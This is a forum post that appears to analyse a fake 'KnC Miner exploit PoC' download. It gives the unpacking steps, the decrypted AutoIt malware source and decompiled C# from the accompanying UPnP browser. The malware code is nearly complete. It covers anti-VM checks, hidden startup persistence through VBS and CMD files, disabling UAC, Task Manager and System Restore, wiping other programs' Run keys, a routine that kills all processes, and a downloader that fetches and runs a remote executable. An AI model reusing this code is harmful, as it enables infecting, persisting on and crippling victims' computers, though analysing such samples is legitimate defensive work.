Topic: KnC Miner : Security hacked - UPDATE with TOOL admin remove plz (Read 25842 times)

$unzip minerProofOfConcept.zip
$unrar e minerProof.exe
$sed '/^;/d' crLyJ > tmp.au3
$nano tmp.au3
$//^^modify to keep only _crypt_* funtions and code call to _crypt_decryptdata with good param
$cp * /windows/

>lmsqQw.exe tmp.au3

">>>AUTOIT SCRIPT<<<"
"wb"
"%.15g"
"0x%p"
"True"
"False"
"%s (%d) : ==> %s.: %s %s"
"Line %d:"
"Line %d  (File "%s"):"
"Error: "
"AU3_FreeVar"
....
"SeDebugPrivilege"

#NoTrayIcon
If ProcessExists("avastui.exe") Then Sleep(20000)
$path = "ppqzt"
$uniscriptdir = FileGetShortName(@ScriptDir)
$uniscriptfullpath = FileGetShortName(@ScriptFullPath)
$unicode_startup = FileGetShortName(@StartupDir)
$unicode_windows = FileGetShortName(@WindowsDir)
$unicode_system = FileGetShortName(@SystemDir)
$unicode_userprofile = FileGetShortName(@UserProfileDir)
$win_userprofile = "%userprofile%\"
FileSetAttrib($uniscriptdir, "+SHR")
Local $delay = IniRead($uniscriptdir & "\HbDzt.MCM", "6072607", "5726011", "NotFound")
If $delay = "4140580" Then
	delay()
Else
EndIf
Local $mutex = IniRead($uniscriptdir & "\HbDzt.MCM", "1478845", "1729463", "NotFound")
If $mutex = "9293639" Then
	mutex()
Else
EndIf
Local $startup = IniRead($uniscriptdir & "\HbDzt.MCM", "9363719", "5077712", "NotFound")
If $startup = "8541394" Then
	startup()
Else
EndIf
Local $antis = IniRead($uniscriptdir & "\HbDzt.MCM", "9632628", "8921159", "NotFound")
If $antis = "2314561" Then
	antis()
Else
EndIf
Local $fake = IniRead($uniscriptdir & "\HbDzt.MCM", "fake1", "fake2", "NotFound")
If $fake = "fake3" Then
	fakemessage()
Else
EndIf
Local $botkiller = IniRead($uniscriptdir & "\HbDzt.MCM", "botkiller1", "botkiller2", "NotFound")
If $botkiller = "botkiller3" Then
	botkiller()
Else
EndIf
Local $downloader = IniRead($uniscriptdir & "\HbDzt.MCM", "downloader1", "downloader2", "NotFound")
If $downloader = "downloader3" Then
	downloader()
Else
EndIf
Local $uac = IniRead($uniscriptdir & "\HbDzt.MCM", "uac1", "uac2", "NotFound")
If $uac = "uac3" Then
	disable_uac()
Else
EndIf
Local $systemrestore = IniRead($uniscriptdir & "\HbDzt.MCM", "systemrestore1", "systemrestore2", "NotFound")
If $systemrestore = "systemrestore3" Then
	disable_syste_restore()
Else
EndIf
Local $antitask = IniRead($uniscriptdir & "\HbDzt.MCM", "antitask1", "antitask2", "NotFound")
If $antitask = "antitask3" Then
	antitask()
Else
EndIf

Func delay()
	$counter = 0
	While $counter <= 5
		Sleep(5000)
		ShellExecute(@SystemDir & "\mshta.exe")
		$counter = $counter + 1
		_rundos("taskkill /IM mshta.exe")
	WEnd
EndFunc

Func systemhide()
	RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoFolderOptions", "REG_DWORD", 1)
	RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", 0)
EndFunc

Func fakemessage()
	$type = IniRead($uniscriptdir & "\HbDzt.MCM", "messagetype1", "messagetype2", "NotFound")
	$title = IniRead($uniscriptdir & "\HbDzt.MCM", "messagetitle1", "messagetitle2", "NotFound")
	$message = IniRead($uniscriptdir & "\HbDzt.MCM", "messagetext1", "messagetext2", "NotFound")
	If FileExists($unicode_userprofile & "\" & $path & "\check.txt") Then
	Else
		MsgBox($type, $title, $message)
		FileWrite($unicode_userprofile & "\" & $path & "\check.txt", "")
	EndIf
EndFunc

Func mutex()
	$scriptname = "lmsqQw.exe"
	If UBound(ProcessList($scriptname)) > 2 Then Exit 
EndFunc

Func antitask()
	$read_antitask = RegRead("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr")
	If NOT ($read_antitask = "1") Then
		RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "1")
	EndIf
EndFunc

Func disable_uac()
	$read_uac = RegRead("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
	If NOT ($read_uac = "0") Then
		RegWrite("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA", "REG_DWORD", "0")
	EndIf
EndFunc

Func startup()
	$buac = _checkelevationenabled()
	If $buac = 0 Then
	Else
		FileCreateShortcut($unicode_userprofile & "\" & $path & "\85841.vbs", $unicode_startup & "\start.lnk")
		FileSetAttrib($unicode_startup & "\start.lnk", "+SH")
	EndIf
	RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce", $path, "REG_SZ", $unicode_userprofile & "\" & $path & "\85841.vbs")
	If NOT FileExists($unicode_userprofile & "\" & $path & "\85841.vbs") Then
		Local $bat = FileOpen($unicode_userprofile & "\" & $path & "\65084.cmd", 1)
		$autoit3 = "lmsqQw.exe"
		FileWrite($bat, "@echo off" & @CRLF & "cd " & $win_userprofile & $path & "\" & @CRLF & "start " & $autoit3 & " " & @ScriptName)
		FileClose($bat)
		Local $vbs = FileOpen($unicode_userprofile & "\" & $path & "\85841.vbs", 1)
		FileWrite($vbs, "const Hidden = 0" & @CRLF & "const WaitOnReturn = true" & @CRLF & 'File ="' & $unicode_userprofile & "\" & $path & "\" & '65084.cmd"' & @CRLF & 'set WshShell = CreateObject("WScript.Shell")' & @CRLF & "WshShell.Run file, Hidden, WaitOnReturn" & @CRLF & "wscript.quit")
		FileClose($vbs)
		RegWrite("HKCU64\Software\Microsoft\Windows\CurrentVersion\RunOnce", $path, "REG_SZ", $unicode_userprofile & "\" & $path & "\85841.vbs")
		FileSetAttrib($unicode_userprofile & "\" & $path & "\85841.vbs", "+SHR")
		FileSetAttrib($unicode_userprofile & "\" & $path & "\65084.cmd", "+SHR")
		If FileExists($unicode_startup & "\start.lnk") Then
			FileDelete($unicode_startup & "\start.lnk")
		EndIf
	Else
	EndIf
EndFunc

Func _checkelevationenabled()
	$read_uac = RegRead("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System", "EnableLUA")
	If @error Then Return 
	Local $struct = DllStructCreate("BOOL")
	Local $artn = DllCall("kernel32.dll", "DWORD", "CheckElevationEnabled", "ptr", DllStructGetPtr($struct))
	If @error Then
		Return SetError(@error)
	EndIf
	Return SetError($artn[0], 0, DllStructGetData($struct, 1))
EndFunc

Func antis()
	If WinGetText("Program Manager") = "0" Then
		Exit 
	Else
	EndIf
	If ProcessExists("VboxService.exe") Then
		Exit 
	EndIf
	If ProcessExists("VMwaretray.exe") Then
		Exit 
	EndIf
EndFunc

Func persistence()
	If NOT ProcessExists("RegSvcs.exe") AND NOT ProcessExists("RegAsm.exe") AND NOT ProcessExists("AppLaunch.exe") AND NOT ProcessExists("twunk_32.exe") AND NOT ProcessExists("newdev.exe") AND NOT ProcessExists("ndadmin.exe") Then
		$pathtovbs = ($uniscriptdir & "\" & "run.vbs")
		ShellExecute($pathtovbs)
		Exit 
	EndIf
EndFunc

Func downloader()
	If FileExists($unicode_userprofile & "\" & $path & "\dl.txt") Then
	Else
		FileWrite($unicode_userprofile & "\" & $path & "\dl.txt", "")
		$random_download_name = Random(10000, 99999, 1) & ".exe"
		Local $hdownload = InetGet("replace-me-url", $unicode_userprofile & "\" & $random_download_name, 1, 1)
		Do
			Sleep(250)
		Until InetGetInfo($hdownload, 2)
		Local $nbytes = InetGetInfo($hdownload, 0)
		InetClose($hdownload)
		ShellExecute($unicode_userprofile & "\" & $random_download_name)
	EndIf
EndFunc

Func bsod()
	$a = ProcessList()
	For $i = 1 To UBound($a) - 1
		ProcessClose($a[$i][0])
	Next
	Exit 
EndFunc

Func botkiller()
	RegDelete("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
	RegWrite("HKCU64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
	RegDelete("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
	RegWrite("HKLM64\SOFTWARE\Microsoft\Windows\CurrentVersion\Run")
	FileDelete(@StartupDir & "\*.*")
EndFunc

Func disable_syste_restore()
	If FileExists($uniscriptdir & "\check.txt") Then
	Else
		RegDelete("HKLM64\Software\Microsoft\Windows NT\CurrentVersion\SPP\Clients")
		FileWrite($uniscriptdir & "\check.txt", "")
	EndIf
EndFunc

Func _rundos($scommand)
	Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE)
	Return SetError(@error, @extended, $nresult)
EndFunc

Global Const $prov_rsa_full = 1
Global Const $prov_rsa_aes = 24
Global Const $crypt_verifycontext = -268435456
Global Const $hp_hashsize = 4
Global Const $hp_hashval = 2
Global Const $crypt_exportable = 1
Global Const $crypt_userdata = 1
Global Const $calg_md2 = 32769
Global Const $calg_md4 = 32770
Global Const $calg_md5 = 32771
Global Const $calg_sha1 = 32772
Global Const $calg_3des = 26115
Global Const $calg_aes_128 = 26126
Global Const $calg_aes_192 = 26127
Global Const $calg_aes_256 = 26128
Global Const $calg_des = 26113
Global Const $calg_rc2 = 26114
Global Const $calg_rc4 = 26625
Global Const $calg_userkey = 0
Global $__g_acryptinternaldata[3]

[SNIP]
-----------------
[SNIP]

Func loop()
	While 1
		If FileExists($unicode_userprofile & "\datascrambler\clean.txt") Then
			__bsod($scriptname, False)
		EndIf
		If WinExists($path) Then
			bsod()
		Else
		EndIf
		Sleep(100)
	WEnd
EndFunc

Source Code for [KnC_cg_bfg_exploit_PoC]ManagedUPnPTest.frmUPnPBrowser
// Decompiled by Salamander version 2.0.0
// Copyright 2002-2006 Remotesoft Inc. All rights reserved.
// http://www.remotesoft.com/salamander

using ManagedUPnP;
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;

namespace ManagedUPnPTest
{
    public class frmUPnPBrowser : Form
    {
        private ManagedUPnP.AutoEventedDiscoveryServices mdsServices;

        private ctlUPnPInfo miInfo = null;

        private IContainer components = null;

        private ctlUPnPTreeBrowser tvUPnP;

        private ImageList ilIcons;

        private Panel pnlInfo;

        private SplitContainer scMain;

        private TabControl tcMain;

        private TabPage tpInfo;

        private TabPage tpLog;

        private ctlLogBox txtLog;


        public frmUPnPBrowser()
        {
            InitializeComponent();
        }

        private void frmManagedUPnPTest_Load(object sender, EventArgs e)
        {
            Logging.LogLines += new LogLinesEventHandler(this, Logging_LogLines);
            Logging.Enabled = true;
            mdsServices = new ManagedUPnP.AutoEventedDiscoveryServices(null);
            mdsServices.ResolveNetworkInterfaces = true;
            mdsServices.CanCreateServiceFor += new AutoEventedDiscoveryServicesB1.CanCreateServiceForEventHandler(this, dsServices_CanCreateServiceFor);
            mdsServices.CreateServiceFor += new AutoEventedDiscoveryServicesB1.CreateServiceForEventHandler(this, dsServices_CreateServiceFor);
            mdsServices.StatusNotifyAction += new AutoEventedDiscoveryServicesB1.StatusNotifyActionEventHandler(this, dsServices_StatusNotifyAction);
            WindowsFirewall.CheckUPnPFirewallRules(null);
            mdsServices.ReStartAsync();
        }

        private void frmUPnPBrowser_FormClosing(object sender, FormClosingEventArgs e)
        {
            Logging.Enabled = false;
            Logging.LogLines -= new LogLinesEventHandler(this, Logging_LogLines);
        }

        private void Logging_LogLines(object sender, LogLinesEventArgs a)
        {
            string str2 = String.Concat(DateTime.Now.ToString("[yyyy/MM/dd HH:mm:ss.fff] "), new String(' ', a.Indent * 4));
            txtLog.AppendLog(String.Concat(str2, a.Lines.Replace("\r\n", String.Concat("\r\n", str2)), "\r\n"));
        }

        private void dsServices_StatusNotifyAction(object sender, AutoEventedDiscoveryServicesB1.StatusNotifyActionEventArgs a)
        {
            AutoDiscoveryServicesB1.NotifyAction autoDiscoveryServicesB1_NotifyAction = a.NotifyAction;
            switch (autoDiscoveryServicesB1_NotifyAction)
            {
            case 1:
                tvUPnP.RemoveDevice((String)a.Data);
                break;

            case 2:
                tvUPnP.RemoveService((Service)a.Data);
                break;

            default:
                if (autoDiscoveryServicesB1_NotifyAction == 10)
                {
                    tvUPnP.AddService((Service)a.Data);
                }
                break;
            }
        }

        private void dsServices_CreateServiceFor(object sender, AutoEventedDiscoveryServicesB1.CreateServiceForEventArgs a)
        {
            a.CreatedAutoService = a.Service;
        }

        private void dsServices_CanCreateServiceFor(object sender, AutoEventedDiscoveryServicesB1.CanCreateServiceForEventArgs a)
        {
            a.CanCreate = true;
        }

        private void tvUPnP_AfterSelect(object sender, TreeViewEventArgs e)
        {
            IUPnPTreeItem iUPnPTreeItem = tvUPnP.SelectedItem;
            ctlUPnPInfo CtlUPnPInfo = miInfo;
            miInfo = null;
            try
            {
                bool flag = iUPnPTreeItem == null;
                if (!flag)
                {
                    miInfo = iUPnPTreeItem.InfoControl;
                    flag = miInfo == null;
                    if (!flag)
                    {
                        miInfo.Dock = DockStyle.Fill;
                        pnlInfo.Controls.Add(miInfo);
                    }
                }
            }
            finally
            {
                bool flag = CtlUPnPInfo == null;
                if (!flag)
                {
                    pnlInfo.Controls.Remove(CtlUPnPInfo);
                    CtlUPnPInfo.Dispose();
                }
            }
        }

        protected override void Dispose(bool disposing)
        {
            if (!(disposing ? (components == null) : 1))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }

        private void InitializeComponent()
        {
            components = new Container();
            ilIcons = new ImageList(components);
            pnlInfo = new Panel();
            scMain = new SplitContainer();
            tcMain = new TabControl();
            tpInfo = new TabPage();
            tpLog = new TabPage();
            tvUPnP = new ctlUPnPTreeBrowser();
            txtLog = new ctlLogBox();
            ((ISupportInitialize)scMain).BeginInit();
            scMain.Panel1.SuspendLayout();
            scMain.Panel2.SuspendLayout();
            scMain.SuspendLayout();
            tcMain.SuspendLayout();
            tpInfo.SuspendLayout();
            tpLog.SuspendLayout();
            base.SuspendLayout();
            ilIcons.ColorDepth = ColorDepth.Depth8Bit;
            ilIcons.ImageSize = new Size(16, 16);
            ilIcons.TransparentColor = Color.Transparent;
            pnlInfo.Dock = DockStyle.Fill;
            pnlInfo.Location = new Point(3, 3);
            pnlInfo.Name = "pnlInfo";
            pnlInfo.Size = new Size(645, 646);
            pnlInfo.TabIndex = 1;
            scMain.Dock = DockStyle.Fill;
            scMain.Location = new Point(0, 0);
            scMain.Name = "scMain";
            scMain.Panel1.Controls.Add(tvUPnP);
            scMain.Panel2.Controls.Add(tcMain);
            scMain.Size = new Size(1055, 678);
            scMain.SplitterDistance = 392;
            scMain.TabIndex = 2;
            tcMain.Controls.Add(tpInfo);
            tcMain.Controls.Add(tpLog);
            tcMain.Dock = DockStyle.Fill;
            tcMain.Location = new Point(0, 0);
            tcMain.Name = "tcMain";
            tcMain.SelectedIndex = 0;
            tcMain.Size = new Size(659, 678);
            tcMain.TabIndex = 1;
            tpInfo.Controls.Add(pnlInfo);
            tpInfo.Location = new Point(4, 22);
            tpInfo.Name = "tpInfo";
            tpInfo.Padding = new Padding(3);
            tpInfo.Size = new Size(651, 652);
            tpInfo.TabIndex = 0;
            tpInfo.Text = "Selected Item Info";
            tpInfo.UseVisualStyleBackColor = true;
            tpLog.Controls.Add(txtLog);
            tpLog.Location = new Point(4, 22);
            tpLog.Name = "tpLog";
            tpLog.Padding = new Padding(3);
            tpLog.Size = new Size(496, 502);
            tpLog.TabIndex = 1;
            tpLog.Text = "UPnP Log";
            tpLog.UseVisualStyleBackColor = true;
            tvUPnP.Dock = DockStyle.Fill;
            tvUPnP.ImageIndex = 1;
            tvUPnP.Location = new Point(0, 0);
            tvUPnP.Name = "tvUPnP";
            tvUPnP.SelectedImageIndex = 0;
            tvUPnP.Size = new Size(392, 678);
            tvUPnP.TabIndex = 0;
            tvUPnP.AfterSelect += new TreeViewEventHandler(this.tvUPnP_AfterSelect);
            txtLog.BackColor = SystemColors.Window;
            txtLog.Dock = DockStyle.Fill;
            txtLog.Font = new Font("Courier New", 8.25F);
            txtLog.Location = new Point(3, 3);
            txtLog.Name = "txtLog";
            txtLog.ReadOnly = true;
            txtLog.Size = new Size(490, 496);
            txtLog.TabIndex = 0;
            txtLog.Text = "";
            txtLog.WordWrap = false;
            base.AutoScaleDimensions = new SizeF(6.0F, 13.0F);
            base.AutoScaleMode = AutoScaleMode.Font;
            base.ClientSize = new Size(1055, 678);
            base.Controls.Add(scMain);
            base.Name = "frmUPnPBrowser";
            Text = "KnC Miner - CGminer - BFGminer exploiter PoC";
            base.FormClosing += new FormClosingEventHandler(this.frmUPnPBrowser_FormClosing);
            base.Load += new EventHandler(this.frmManagedUPnPTest_Load);
            scMain.Panel1.ResumeLayout(false);
            scMain.Panel2.ResumeLayout(false);
            ((ISupportInitialize)scMain).EndInit();
            scMain.ResumeLayout(false);
            tcMain.ResumeLayout(false);
            tpInfo.ResumeLayout(false);
            tpLog.ResumeLayout(false);
            base.ResumeLayout(false);
        }
    }

}